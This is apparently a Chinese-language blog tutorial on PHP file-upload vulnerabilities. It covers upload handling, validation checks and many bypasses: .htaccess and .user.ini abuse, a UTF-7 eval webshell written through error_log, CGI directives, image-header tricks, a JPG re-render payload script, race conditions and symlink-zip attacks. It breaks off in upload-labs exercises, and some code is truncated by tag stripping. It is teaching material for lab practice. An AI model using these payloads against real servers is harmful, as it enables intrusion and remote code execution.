PHP文件上传漏洞

前言

 上礼拜一直在搞期中测试和unctf,没啥时间整理,这礼拜继续整理!

PHP文件上传基础以及基本上传流程

文件上传前端:

 前端部分往往都是表单提交,input 的 type 设置为 file 。form 表单会有一个 enctype 属性,在文本提交时默认值是"application/x-www-form-urlencoded"。当有文件上传时,值是 “multipart/form-data”。

文件上传后端:

$_FILES

 php中关于文件上传的一个超全局变量,是一个数组,其包含了所有上传的文件信息

如果上传表单的name属性值为file,即:

<input name="file" type="file" />

$_FILES 数组内容为:

  • $_FILES['file']['name']   上传文件的原文件名

  • $_FILES['file']['type']   文件的MIME类型
    需要浏览器提供该信息的支持,例如”image/gif”

  • $_FILES['file']['size']   已上传文件的大小,单位为字节

  • $_FILES['file']['tmp_name']   文件被上传后在服务端存储的临时文件名, 在请求结束后该临时文件会被删除

  • $_FILES['file']['error']
    

    和该文件上传相关的错误代码

    • UPLOAD_ERR_OK (0) 文件上传成功
    • UPLOAD_ERR_INI_SIZE (1),上传的文件超过了php.ini
    • upload_max_filesize 选项限制的值
    • UPLOAD_ERR_FORM_SIZE (2), 上传文件的大小超过了HTML表单中MAX_FILE_SIZE选项指定的值
    • UPLOAD_ERR_PARTIAL (3) ,文件只有部分被上传
    • UPLOAD_ERR_NO_FILE (4) ,没有文件被上传
    • UPLOAD_ERR_NO_TMP_DIR (6) ,找不到临时文件夹
    • UPLOAD_ERR_CANT_WRITE (7) ,文件写入失败

tips: php支持多文件上传,如果有多个文件,则上面的变量将会是一个数组,例如:

<input name="file[]" type="file" />
<input name="file[]" type="file" />

则:$_FILES['file']['name'][0] 代表上传的第一个文件的文件名;$_FILES['file']['name'][1]代表上传的第二个文件的文件名

和文件上传相关的一些函数

is_uploaded_file($filename)   判断文件是否是通过HTTP POST上传的

move_uploaded_file($filename, $destination)   将上传的文件移动到新位置

  • 该函数会检查文件是否是通过http上传(相当于自动调用is_uploaded_file($filename)),如果其返回为true才会将其移动到新位置
  • 若成功,则返回 true,否则返回 false
  • 如果目标文件已经存在,将会被覆盖
  • 移动目的路径所在目录必须存在,此函数不会创建目录

文件上传http包:(中间过程)

 现在我写了个简单的php脚本,让我们抓包看看中间的传递数据的特征,脚本如下:

DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8"" />   
    <title>文件上传小测试title>
head>
<body>
    <form action='#' enctype='multipart/form-data' method='post' >
        <input type='file' name='file' />
        <br>
        <input type='submit' name='submit' value="提交" />
    form>
    <hr>
body>
html>

上传一个简单的木马然后抓包看看。抓到的包如下:

POST /firstdemo/file.php?file=%E5%AD%A6%E4%B9%A0%E9%A1%BA%E5%BA%8F.txt&submit=%E6%8F%90%E4%BA%A4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------11242319138866574263082082138
Content-Length: 370
Origin: http://localhost
Connection: close
Referer: http://localhost/firstdemo/file.php?file=%E5%AD%A6%E4%B9%A0%E9%A1%BA%E5%BA%8F.txt&submit=%E6%8F%90%E4%BA%A4
Cookie: ...
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------11242319138866574263082082138
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream


-----------------------------11242319138866574263082082138
Content-Disposition: form-data; name="submit"

提交
-----------------------------11242319138866574263082082138--

我们先来关注一下请求头中的Content-Type,一个表单提交的固定格式:multipart/form-data; boundary=...

  • multipart/form-data 代表客户端要上传一个附件

  • boundary是一个分隔符,作用是分割多个表单项

    文件上传的http请求体由一个个表单项组合成,每一个表单项代表一个表单元素

  • 每个表单项由--$boundary开始,以--$boundary结尾。最后一个表单项以--$boundary--结尾,代表表单结束
    每一个表单项又由表单头和表单体组成

我们再来关注表单体:

Content-Disposition消息头第一个参数总是固定不变的form-dataname表示表单元素属性名,如果这个元素类型为file的话则会多出filename参数和Content-Type头。前者表示文件名,后者指明了上传文件的MIME,表单头回车换行符后面就是表单体,内容就是元素值或者上传文件的内容。

文件上传后端的步骤:

  1. 读取http body部分,根据boundary分析出分隔符(这个串是唯一的,不会与body内其他数据冲突)
  2. 根据实际分隔符分段获取 body
  3. 内容遍历分段内容,根据Content-Disposition特征获取其中值
  4. 根据值中filenamename区分是否是包含二进制流还是表单数据的key-value
  5. 根据filename获取原始文件名
  6. 按照二进制流读取上传文件流信息。

完成后即有:原始文件名信息、原始文件类型信息、全部文件流信息

上传校验的形式以及绕过方法

文件上传漏洞的根本原因就是服务器将本应该是数据的内容当做了代码执行。

前端校验

1、js校验

方法

 在表单提交按钮按下后转到js脚本进行文件后缀校验。

绕过

 前端校验是纯粹的形式,一般有两个常见的方法绕过

  • 禁用前端js
  • bp抓包改包

都很简单就不细讲了

后端校验

1、后缀名校验

方法
1、黑名单策略

文件扩展名在黑名单中的即为不合法

$postfix = end(explode('.', $_FILES['file']['name']));
$black_list = ["php", "asp", "sh"];

if(in_array($postfix, $black_list)){
  die("invalid file type");
}
2、白名单策略

文件扩展名不在白名单中的均为不合法

$postfix = end(explode('.', $_FILES['file']['name']));
$white_list = ["jpg", "png", "gif"];

if(in_array($postfix, $white_list)){
  //save the file
}else die("invalid file type");

很明显,白名单绕过具有更大的安全性,但过滤不当均有被绕过的可能

绕过
1、大小写绕过

比如:Php、PhP

2、后缀绕过

黑名单过滤时,也许会有一些漏掉的后缀,这类后缀文件仍然能使后端将其当做php文件执行。

常见的可以解析为php的后缀:php、php3、php5、php7、pht、phtml

这往往取决于服务端的配置,比如中间件apache中的httpd.conf中的设置:

# 指定 php 后缀的文件应该调用php模块去执行
<FilesMatch "\.php$">
    setHandler application/x-httpd-php
</FilesMatch>

# 或在IfModule mime_module标签中末尾添加以下配置:
# 设定了3中后缀(.php、.php3、.pht 可以自定义后缀)都由php模块去执行
AddType application/x-httpd-php .php .php3 .pht
3、%00绕过

条件:

  • php版本小于5.3.29
  • php的 magic_quotes_gpc 为OFF状态
  • 或上传时路径可控

原理:

 php的底层是c语言,%00或0x00或chr(0)是c语言的字符串的结束标识符,因此攻击者可以利用这点对字符串进行截断,绕过上传检测。

攻击技巧:

Get请求时,大部分情况下我们可以直接用%00在url中截断上传。

Post请求时,在第一个后缀名后加一个空格(0x20),使用bp->repeater->hex,将其改成0x00

一个例子:

上传文件时,?filename=...

后端白名单校验只能上传jpg,我们就可以上传一个木马文件并重命名:?filename=1.php%00.jpg,服务端接收到的文件名是:1.php%00.jpg,但当服务器使用move_uploaded_file($filename, $destination) 函数保存文件时,当该函数读取到%00时,就会直接结束,也就是说存进服务器的文件名是:1.php,.jpg的后缀被丢弃。

参考文章:

https://www.freesion.com/article/3011473785/

4、超长文件名截断上传

windows - 258byte | linux - 4096byte

使用./.

5、.htaccess文件上传绕过

 上面说了,文件上传漏洞的根本原因是将原本应该是数据的内容当成了代码来执行,那么是什么告诉服务器哪些文件要当成代码执行,哪些文件只是简单的数据文件呢?在Apache中,.htaccess文件是承担职责人之一。

 一般来说配置文件的作用范围是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令,它可以配置很多事情,如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制等等。参考:https://www.centos.bz/2017/11/apache-htaccess文件详解和配置技巧总结/

但我们这里只关心.htaccess文件的一个作用——MIME类型修改

首先,要想使**.htaccess文件生效**,需要两个条件:

1、在Apache的配置文件**(httpd.conf)**中要有:

AllowOverride All

默认情况下,AllowOverride 为 None.

2、Apache要加载mod_Rewrite模块。加载该模块,需要在Apache的配置文件中写上:

LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

若是在Ubuntu中,可能还需要执行命令:

sudo a2enmod rewrite

配置完后需要重启Apache。
禁止脚本执行有多种方式可以实现,而且分别有不同的效果

方法

1、指定特定拓展名的处理方式,原理是指定响应头中的Content-Type,比如如下设置:

AddType text/plain .pl .py .php

此时.pl .py .php 文件被访问时,会以文本的形式呈现在浏览器中

2、如果要完全禁止特定扩展名的文件被访问,用下面的几行

Options -ExecCGI
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi

在这种情况下,以上几种类型的文件被访问的时候,会返回403 Forbidden的错误

3、强制web服务器以…方式处理…后缀的文件,比如:

<FilesMatch "\.(php|pl|py|jsp|asp|htm|shtml|sh|cgi)$">
	ForceType text/plain
	# SetHandler application/x-httpd-php  这种方法同样也能...
</FilesMatch>

如上,就是以文本的方式处理 FilesMatch 中后缀的文件。和第一种的不同之处是,第一种是交给浏览器处理时,告诉浏览器应该如何处理文件,而此处是服务器如何处理文件。

4、只允许访问特定类型的文件

<Files ^(*.jpeg|*.jpg|*.png|*.gif)>
	order deny,allow
	deny from all
</Files>

在一个上传图片的文件夹下面,就可以加上这段代码,使得该文件夹里面只有图片扩展名的文件才可以被访问,其他类型都是拒绝访问。
这又是一个白名单的处理方案

绕过

如果服务端没有将上传的文件进行重名命,那么就可以上传一个我们精心构造的.htaccess文件去覆盖掉现有文件,如果我们可以控制了.htaccess文件,那么一切都好办了。

1、FilesMatch

<FilesMatch "abc">
	SetHandler application/x-httpd-php
</FilesMatch>
# 文件名中包含有abc字符的都将作为php脚本执行

2、AddType

AddType application/x-httpd-php .jpg
#文件后缀为.jpg的都将作为php脚本执行

3、php_value

  • 自动文件包含

    php_value auto_prepend_file 1.txt # 在主文件解析之前自动解析包含1.txt的内容
    php_value auto_append_file 2.txt # 在主文件解析后自动解析1.txt的内容
    # 因此若是有如上设置,则我们只需上传1.txt,在其中写入木马,也能够被解析
    
    php_value auto_append_file php://filter/convert.base64-decode/resource=shell.xxx
    # 由于是文件包含,因此伪协议也能够使用
    
    php_value auto_append_file php://input
    # 执行post的文件
    
    php_value auto_append_file http://xxxxx.xxxx.xxx/shell.txt
    # 除了能本地文件包含,还能进行远程文件包含,如下是条件:
    # PHP 的 all_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启。
    
    php_value include_path "xxx"  # 更改包含文件路径
    # 如果当前目录无法写文件,也可以改变包含文件的路径,去包含别的路径的文件
    
    php_value auto_prepend_file ".htaccess"
    # 
    # 包含自身,然后在自身写入php代码,如上,前面要加#符号,在进入php引擎时会忽略尖括号外的东西,但是仍然可以作为.htaccess文件进行上传
    
  • 利用报错信息(日志)写木马文件

    步骤:

    1、写入 .htaccess 关于error_log相关的配置

    php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[1]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
    php_value error_reporting 32767
    php_value error_log /tmp/fl3g.php
    

    上方include_path后的是‘utf-7’编码,可以用下面的方法在php中获得:

    mb_convert_encoding('',"utf-7");
    

    上方include_path中的语句,经过访问后会放入下方 error_log 后的 /tmp/fl3g.php 中

    2、访问特定页面留下error_log (比如访问index.php,index.php中包含了fl3g.php)

    3、写入新的 .htaccess 使 fl3g.php 重新被 index.php 包含,并且开启utf-7编码

    php_value zend.multibyte 1
    php_value zend.script_encoding "UTF-7"
    php_value include_path "/tmp"
    

    如上我们在 index.php 中重新包含了 fl3g.php

    4、再一次访问 index.php 直接就可以用马了。

    例题:https://www.cnblogs.com/tr1ple/p/11439994.html

  • 编码绕过尖括号过滤

    php_value zend.multibyte 1
    php_value zend.script_encoding "UTF-7"
    
    #将代码的解析方式改成UTF-7
    #此时我们上传utf-7编码的php脚本,这样就没有了php特征,可以绕过检查
    
  • Prce绕过正则匹配

    php_value pcre.backtrack_limit 0
    php_value pcre.jit 0
    

     如果正则类似if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),可以通过php_value设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false.

4、waf绕过(比如文件中不能出现php等字符串)

使用反斜杠(\)拼接绕过,在.htaccess文件中,#是单行注释(没有多行注释),而\可以对上下两行进行拼接,例子如下:

AddType application/x-httpd-p\
hp .jpg

还有如下用法,用于绕过末尾拼接字符串的情况:

原来会进行拼接破坏原文:

AddType application/x-httpd-php .jpg
123  # \n123是在php中拼接进的字串

于是我们上传时可以上传时后缀带上#\进行拼接的单行注释

AddType application/x-httpd-php .jpg
# \
123

5、绕过exif_imagetype()上传.htaccess

 采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度,以像素为单位.

 因此我们需要在开头设置 #define 即可绕过 exif_imagetype() 函数的检测

#define width 20
#define height 10
xxxxxx

6、php_flag

用 php_flag设置布尔值,可以将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露

php_flag engine 0

7、CGI命令执行

 **公共网关接口(Common Gateway Interface,CGI)**是Web 服务器运行时外部程序的规范,按CGI 编写的程序可以扩展服务器功能。CGI 应用程序能与浏览器进行交互,还可通过数据API与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据。格式化为HTML文档后,发送给浏览器,也可以将从浏览器获得的数据放到数据库中。几乎所有服务器都支持CGI,可用任何语言编写CGI,包括流行的C、C ++、Java、VB 和Delphi 等。CGI分为标准CGI和间接CGI两种。标准CGI使用命令行参数或环境变量表示服务器的详细请求,服务器与浏览器通信采用标准输入输出方式。间接CGI又称缓冲CGI,在CGI程序和CGI接口之间插入一个缓冲程序,缓冲程序与CGI接口间用标准输入输出进行通信.

 CGI程序是存在在中间件中的。

如果开启了cgi扩展,就可以可以来解析shell脚本,也就是说cgi_module 需要加载,即 apache 配置文件中有,如 apache2.conf中

LoadModule cgi_module modules/mod_cgi.so

.htaccess

Options +ExecCGI #允许CGI执行
AddHandler cgi-script .xx  #将xx后缀名的文件,当做CGI程序进行解析

我们来写个CGI

ce.xx

#!C:/Windows/System32/cmd.exe /k start calc.exe
6

就会弹计算机了。

8、FastCGI命令执行

和CGI命令执行类似:

mod_fcgid.so需要被加载。即 apache 配置文件中有

LoadModule fcgid_module modules/mod_fcgid.so

.htaccess

Options +ExecCGI
AddHandler fcgid-script .xx
FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe" .xx

ce.xx 内容随意,就会直接执行上述代码(弹计算机)

9、其他

在参考文章中有:如lua执行…

参考文章:

https://xz.aliyun.com/t/8267#toc-7

https://blog.csdn.net/solitudi/article/details/116666720

6、.user.ini文件绕过

 类似于.htaccess文件,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待php.iniuser_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

 可以说,.user.ini是php版本的.htaccess,它可以设置所有ini_set()可以设置的配置项。

要使.user.ini生效,需要修改php.ini中的两个参数:

user_ini.filename = ".user.ini"
user_ini.cache_ttl = 300

.user.ini的利用条件:

1、含有.user.ini的文件夹下要有正常的php文件

2、以fastcgi/cgi运行php

3、php > 5.3.0

.user.ini有两个配置项:auto_prepend_fileauto_append_file。该配置项会让php文件在执行时包含一个指定的文件

  • auto_prepend_file在页面顶部加载文件
  • auto_append_file在页面底部加载文件
    他们是通过require来自动调用文件的通过这个配置项

上传.user.ini绕过黑名单检测:

GIF89a                  //绕过exif_imagetype()
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=a.jpg  //解析后进行包含

注意:.user.ini文件加载的文件,会被php引擎解析,应该是当前目录下所有文件都会包含.user.ini中的被预加载的文件

优势:

.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

7、Apache解析漏洞
  • 在Apache 1.x , 2.x中Apache解析文件的规则是从右往左开始判断解析,如果后缀名为不可识别文件, 就再往左判断。因此,index.php.abc也会被解析成php文件。

    **tips:**若php以FASTCGI的模式工作于Apache中,此种模式下php遇到类似aaa.php.xxx这种不是php程序的文件,会触发500错误。

  • Apache解析漏洞CVE-2017-15715(Apache2.4.0到2.4.29)这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤

参考文章(偷个懒,感觉p牛已经讲得很详细了):利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单

8、Nginx解析漏洞
  • 空字节代码执行漏洞。旧版本(0.5.x,**0.6.x,0.7,0.8<=0.7.65<=0.8.37)。恶意用户发出请求http://example.com/file.ext%00.php就会将file.ext作为PHP文件解析。

  • PHP FastCGI未授权访问漏洞,参考文章(同Apache解析漏洞):Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

    FastCGI未授权访问漏洞极速复现:

    https://github.com/vulhub/vulhub/tree/master/php/fpm

2、MIME类型校验

方法

 HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改,不过加上一层防护也是可以有一定效果的。

MIME值 含义
text/plain 纯文本
text/html HTML文档
text/javascript js代码
application/xhtml+xml XHTML文档
image/gif GIF图像
image/jpeg JPEG图像
image/png PNG图像
video/mpeg MPEG动画
application/octet-stream 二进制数据
application/pdf PDF文档
application/(编程语言) 该种语言的代码
application/msword Microsoft Word文件
message/rfc822 RFC 822形式
multipart/alternative HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示
application/x-www-form-urlencoded POST方法提交的表单
multipart/form-data POST提交时伴随文件上传的表单

校验的代码一般如下:

$mimetype = $_FILES['file']['type'];
var_dump($mimetype);
if(in_array($mimetype, array('image/jpeg', 'image/gif', 'image/png'))) {
  move_uploaded_file($_FILES['file']['tmp_name'], '/uploads/' . $_FILES['file']['name']);
  echo 'OK';
}else {
  die('Upload a real image');
} 
绕过

 这类检测的绕过非常简单,只要抓包修改Content-Type即可。

3、文件头校验

方法

 利用每一个特定类型的文件都会有不太一样的开头或者标志位,可以对上传的文件进行一定的校验。

exif_imagetype($filename)函数(需要php_exif扩展) :读取一个图像的第一个字节并检查其签名。
getimagesize($filename) :取得图像大小,返回一个数组。如果传入的文件不是图片(文件头),则返回false

  • 索引0包含图像宽度的像素值
  • 索引1包含图像高度的像素值
  • 索引2是图像类型的标记(数字)
  • 索引3给出的是一个宽度和高度的字符串
  • 索引channels给出的是图像的通道值,RGB 图像默认是 3
  • 索引mime给出的是图像的 MIME 信息

一般的校验代码:

if (!exif_imagetype($_FILES['file']['tmp_name'])){
  die("File is not an image");
}

or

$allow_mime = array("image/gif", "image/png", "image/jpeg");
$imageinfo = getimagesize($_FILES["file"]["tmp_name"]);
if (!in_array($imageinfo['mime'], $allow_mime)) {
  die("File type error!
"
); }
绕过
GIF89a
<?php phpinfo(); ?>

当上传php文件时,可以使用winhex、010editor等十六进制处理工具,在数据最前面添加图片的文件头,从而绕过检测

常见图片的文件头(16进制):

gif: 47 49 46 38 39 61 (文本的GIF89a) 

jpg、jpeg : FF D8 FF 

png : 89 50 4E 47 0D 0A

4、文件内容校验

方法

检测文件中的敏感字符,类似黑名单。

一般的校验代码:

$contents = file_get_contents($_FILES['file']['tmp_name']);
if(preg_match("/<\?php/i", $contents) !== 0)
{
    die("Error");
}
绕过

这种其实也是相当于黑名单,只要能够找到黑名单中的漏网之鱼即可绕过

可解析为php的标签

 phpinfo();?>

<?=phpinfo(); ?> 

<script language=php>phpinfo();</script>    //php7移除

<? phpinfo(); ?>     //需要php.ini中short_open_tag=On

<% phpinfo(); %>     //需要php.ini中asp_tags = On  php7移除

5、图片二次渲染

方法

 图片二次渲染,就是根据用户上传的图片,新生成一个图片,将原始图片删除,从而实现上传图片的清洗。
 相当于是把原本属于图像数据的部分抓了出来,再用自己的API或函数进行重新渲染,在这个过程中非图像数据的部分直接就被隔离开了

php中通常使用的是GD库中的API函数实现二次渲染。

校验:

imagecreatefromjpeg($filename)    // 由jpg文件或URL创建一个新图像,成功后返回图像资源,失败后返回false
imagecreatefrompng($filename)     // 由png文件或URL创建一个新图像,成功后返回图像资源,失败后返回false
imagecreatefromgif($filename)     // 由gif文件或URL创建一个新图像,成功后返回图像资源,失败后返回false
 
imagegif($image, $filename)       // 从image图像以filename为文件名创建一个gif图像
imagejpeg($image, $filename)      // 从image图像以filename为文件名创建一个jpg图像
imagepng($image, $filename)       // 从image图像以filename为文件名创建一个png图像
// 上述的 image 参数是imagecreate() 或 imagecreatefrom* 函数的返回值

验证是否存在图片二次渲染的方法:

 上传一张带有木马的图片,上传后再下载对应图片,查看图片文件是否还存在木马。

绕过
  • 图片马制作:

    copy 1.jpg/b + 1.php/a 2.jpg
    
  • 二次渲染绕过

    gif

    对于gif图片,gif图片的特点是无损(修改图片后,图片质量几乎没有损失),可以对比上传前后图片的内容字节,在渲染后不会被修改的部分插入木马。对比工具可以使用burp,也可以使用010编辑器。

    png

    对于png图片,修改难度大一点,使用一个脚本来生成,原理是通过真实像素的二进制解析写入数据段。

    
    

    运行脚本即可生成,这里的一句话木马是:

    
    

    使用方式是get传参0,加上post传参1。

    jpg

    由于jpg图片易损,对图片的选取有很大关系,很容易制作失败。

    ";
    
        if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
            die('php-gd is not installed');
        }
    
        if(!isset($argv[1])) {
            die('php jpg_payload.php ');
        }
    
        set_error_handler("custom_error_handler");
    
        for($pad = 0; $pad < 1024; $pad++) {
            $nullbytePayloadSize = $pad;
            $dis = new DataInputStream($argv[1]);
            $outStream = file_get_contents($argv[1]);
            $extraBytes = 0;
            $correctImage = TRUE;
    
            if($dis->readShort() != 0xFFD8) {
                die('Incorrect SOI marker');
            }
    
            while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
                $marker = $dis->readByte();
                $size = $dis->readShort() - 2;
                $dis->skip($size);
                if($marker === 0xDA) {
                    $startPos = $dis->seek();
                    $outStreamTmp = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        str_repeat("\0",$nullbytePayloadSize) . 
                        substr($outStream, $startPos);
                    checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                    if($extraBytes !== 0) {
                        while((!$dis->eof())) {
                            if($dis->readByte() === 0xFF) {
                                if($dis->readByte !== 0x00) {
                                    break;
                                }
                            }
                        }
                        $stopPos = $dis->seek() - 2;
                        $imageStreamSize = $stopPos - $startPos;
                        $outStream = 
                            substr($outStream, 0, $startPos) . 
                            $miniPayload . 
                            substr(
                                str_repeat("\0",$nullbytePayloadSize).
                                    substr($outStream, $startPos, $imageStreamSize),
                                0,
                                $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                    substr($outStream, $stopPos);
                    } elseif($correctImage) {
                        $outStream = $outStreamTmp;
                    } else {
                        break;
                    }
                    if(checkImage('payload_'.$argv[1], $outStream)) {
                        die('Success!');
                    } else {
                        break;
                    }
                }
            }
        }
        unlink('payload_'.$argv[1]);
        die('Something\'s wrong');
    
        function checkImage($filename, $data, $unlink = FALSE) {
            global $correctImage;
            file_put_contents($filename, $data);
            $correctImage = TRUE;
            imagecreatefromjpeg($filename);
            if($unlink)
                unlink($filename);
            return $correctImage;
        }
    
        function custom_error_handler($errno, $errstr, $errfile, $errline) {
            global $extraBytes, $correctImage;
            $correctImage = FALSE;
            if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
                if(isset($m[1])) {
                    $extraBytes = (int)$m[1];
                }
            }
        }
    
        class DataInputStream {
            private $binData;
            private $order;
            private $size;
    
            public function __construct($filename, $order = false, $fromString = false) {
                $this->binData = '';
                $this->order = $order;
                if(!$fromString) {
                    if(!file_exists($filename) || !is_file($filename))
                        die('File not exists ['.$filename.']');
                    $this->binData = file_get_contents($filename);
                } else {
                    $this->binData = $filename;
                }
                $this->size = strlen($this->binData);
            }
    
            public function seek() {
                return ($this->size - strlen($this->binData));
            }
    
            public function skip($skip) {
                $this->binData = substr($this->binData, $skip);
            }
    
            public function readByte() {
                if($this->eof()) {
                    die('End Of File');
                }
                $byte = substr($this->binData, 0, 1);
                $this->binData = substr($this->binData, 1);
                return ord($byte);
            }
    
            public function readShort() {
                if(strlen($this->binData) < 2) {
                    die('End Of File');
                }
                $short = substr($this->binData, 0, 2);
                $this->binData = substr($this->binData, 2);
                if($this->order) {
                    $short = (ord($short[1]) << 8) + ord($short[0]);
                } else {
                    $short = (ord($short[0]) << 8) + ord($short[1]);
                }
                return $short;
            }
    
            public function eof() {
                return !$this->binData||(strlen($this->binData) === 0);
            }
        }
    ?>
    

    运行脚本命令:

    jpg_payload.php 1.jpg
    

参考文章:https://xz.aliyun.com/t/2657

Phar反序列化文件上传

详见PHP反序列化

文件上传时临时文件利用

 文件被上传后,默认会被存储到服务器的默认临时目录中,该临时目录由php.iniupload_tmp_dir属性指定。如果upload_tmp_dir的路径不可写,PHP会上传到系统默认的临时目录。需要注意的是,不论后端是否是文件上传的功能,只要我们按照文件上传的格式发送http包,则php就会将我们上传的文件转存为临时文件。前面的$_FILEStmp_name就是该临时文件的文件名。

 不做过多赘述,下面参考文章学一下差不多了。

参考文章:

https://www.anquanke.com/post/id/201136
https://www.anquanke.com/post/id/183046

条件竞争上传

原理

 在一些不太规范的代码中,服务端会在接收前端文件后,会先保存,再对文件进行进行合法性验证,若不合法则删除,那么在保存和删除之间便会存在一个时间差,我们就可以利用这个时间差getshell.

利用条件:

1、可以上传文件

2、可以访问上传的文件

利用方法

上传木马文件,同时不断访问这个文件,抢在服务器删除该文件之前访问到它,即可getshell,可以用burp实现。

例子

https://github.com/backlion/demo/blob/master/lfi_phpinfo.py

软连接攻击

unzip()存在软链接攻击,发现可以通过上传一个软链接的压缩包,把特定文件像个钩子一样勾出来。

1、实现任意文件读取

ln -s  		// linux的软链接 类似快捷方式
ln -s /etc/passwd forever404    //会出现一个forever404文本 里面包含有密码

利用前端接口访问 forever404 文件即可读取 /etc/passwd。

2、getshell

操作方式

先构造一个指向 /var/www/html 的软连接:

ln -s /var/www/html test
zip --symlinks test.zip ./*

此时上传该test.zip,解压出里边的文件也是软连接 /var/www/html 目录下;

接下来的思路就是想办法构造一个getshell文件让getshell文件正好解压在 /var/www/html,此时就可以getshell。

构造第二个压缩包,先创建一个test目录(因为上一个压缩包里边目录就是test),在test目录下写一个shell文件,在压缩创建的test目录 此时压缩包目录架构是:test/cmd.php。

mkdir test
cd test
echo " cmd.php
cd ..
zip -r test1.zip ./*

当上传这个压缩包时会覆盖上一个test目录,但是test目录软链接指向 /var/www/html,解压的时候会把cmd.php放在 /var/www/html,此时达到了getshell的目的。

其他过滤及绕过

1、过滤php

  • js标签绕过

    需要php小于7.0

    <script language="PHP">
    $fh=fopen("../flag.".strtolower("PHP"),'r');
    echo fread($fh,filesize("../flag.".strtolower("PHP")));
    fclose($fh);
    script>
    
  • PHP短标签

    开启短标签即short_open_tag=on时,可以使用输出变量,在PHP 5.4 之后默认支持

2、只解压一半的压缩包(解压一半出错)

  • Windows 7zip

    7zip的容忍度很低,只要压缩包中某一个文件的CRC校验码出错,就会报错退出。

    修改方法:

    准备两个文件,一个PHP文件1.php,一个文本文件2.txt,其中1.php说webshell,然后将这两个文件压缩成shell.zip。

    用010editor打开shell.zip,可以看到右下角有这个文件的格式信息,它被分成5部分,打开第4部分,其中有个deCrc,随便把值改成其他的值,然后保存。

    此时用7zip解压就会出错,解压出的1.php是完好的,2.txt是一个空文件。

  • PHP ZipArchive库

    ZipArchive容忍度比较高,可以在文件名上下功夫。

    比如,Windows下不允许文件名中包含冒号(:),可以在010editor中将2.txt的deFileName属性的值改成2.tx:,此时解压就会出错,但1.php被保留了下来。

    在Linux中也有类似的方法,可以将文件名改为5个斜杠(/),此时Linux下解压也会出错,但1.php被保留了下来。

upload-labs练习

本地环境搭建

 下载地址:https://github.com/c0ny1/upload-labs

这里我用的是phpstudy,下载完后,直接把文件夹拖到 WWW 文件夹下就可以了。

开始闯关!

在文件夹目录下创建一个flag文件,提高成就感(

Pass01

 上传.txt文件后跳出js框提示只能上传图片,合理想到前端js过滤,两个方法,一个是禁用js,另一个方法是先把木马命名为.jpg文件,然后上传抓包,改成.php即可,两种方法均能绕过js过滤。

js源码:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

Pass02

MIME类型检测,直接上传1.php,抓包改Content-Type: image/jpg,上传成功。

源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
